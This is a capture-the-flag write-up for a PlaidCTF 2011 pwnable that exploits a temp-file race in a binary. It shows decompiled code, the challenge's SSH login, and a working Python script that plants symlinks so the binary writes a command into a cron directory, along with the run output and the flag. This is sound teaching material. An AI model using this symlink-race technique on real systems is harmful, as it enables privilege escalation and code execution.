PlaidCTF 2011 #18 – A small bug (250)

Category: pwnables

Get access to the key using /opt/pctf/z1/exploitme.

ssh username@a5.amalgamated.biz

Username: z1_1
Password: GwB4eivw9NTvCjmobw1EnuyqcWfJs

Summary: race condition, create a symlink before the file is opened

binary

Let’s look at programs code:

int main(int argc, char *argv[]) {
    _cyg_profile_func_enter((unsigned int)main);
    if ( argc <= 1 )
    {
        fprintf(stderr, "%s requires one argument!\n", *(_DWORD *)a2);
        exit(1);
    }
    write_and_unlink(get_temp("/tmp"), argv[1]);
    return _cyg_profile_func_exit(main, v5);
}

char * get_temp()
{
  _cyg_profile_func_enter((unsigned int)get_temp);
  char * fname = tempnam("/tmp", "chal_");
  if ( stat(fname, &v2) >= 0 )
  {
    fwrite_unlocked("Temporary file exists!\n", 1, 23, stderr);
    exit(1);
  }
  fprintf(stderr, "Temporary file is %s.\n", fname);
  _cyg_profile_func_exit(get_temp, v4);
  return fname;
}


char * tempnam(char * path, char * prefix) {
    ... // some messy code here
    
    strncat(&v12, "XXXXXX", v5 + 1025);
    if ( mkstemp(&v12) < 0 ) {
        result = 0;
    }
    else {
        close(v8);
        unlink(&v12);
        result = strdup(&v12);
    }
}

int write_and_unlink(char * fname, char * str) {
    _cyg_profile_func_enter((unsigned int)write_and_unlink);
    FILE * fd = fopen_unlocked(fname, "w");
    fputs_unlocked(str, fd);
    fclose_unlocked(fd);
    unlink(fname);
    return _cyg_profile_func_exit(write_and_unlink, v4);
}

Well, briefly it is:

  • generate random temp name
  • open the file, close and remove it
  • print filename
  • again, open the file, write argv[1], close and remove it

Looks like we can read the filename and make a symlink before the opening, so the second open/write will print our text to an arbintrary file. What is the profit? Eventually you can find a level’s README:

z1_1@a5:/tmp/.mastaa$ ls /opt/pctf/z1key/
cron.d    key  README
z1_1@a5:/tmp/.mastaa$ cat /opt/pctf/z1key/README 
All scripts in cron.d will be executed, then deleted once a minute.
A script's filename ends with `.sh`.

So, our goal is to write some code to /opt/pctf/z1key/cron.d/. Let’s do it:

#!/usr/bin/env python
#-*- coding:utf-8 -*-

import os, sys, time
from subprocess import Popen, PIPE

KEY_FILE = "/tmp/.mastaa/PWNED"
DATA = "cat /opt/pctf/z1key/key >" + KEY_FILE

while True:
    p = Popen(["/opt/pctf/z1/exploitme", DATA], stderr=PIPE, stdout=PIPE)
    s = p.stderr.read(34)
    fname = s[len("Temporary file is "):]

    cron_name = "/opt/pctf/z1key/cron.d/mastaa.sh"

    for i in range(2048):
        try:
            os.symlink(cron_name, fname)
        except:
            pass

    if os.path.isfile(KEY_FILE):
        time.sleep(1)
        print "\nPWNED:", open(KEY_FILE).read()
        break

    sys.stdout.write(".")
    sys.stdout.flush()
z1_1@a5:/tmp/.mastaa$ python explot.py
.......................................................
.......................................................
.......................................................
.......................................................
.......................................................
.......................................................
.........................
PWNED: This is the key: FUCKALLOFYOU

Actually, it’s stable and there’s no need for doing it in a while loop. Just wait 1 minute until the script is executed.

The flag: FUCKALLOFYOU
so impolite :/

Leave a Reply

Your email address will not be published.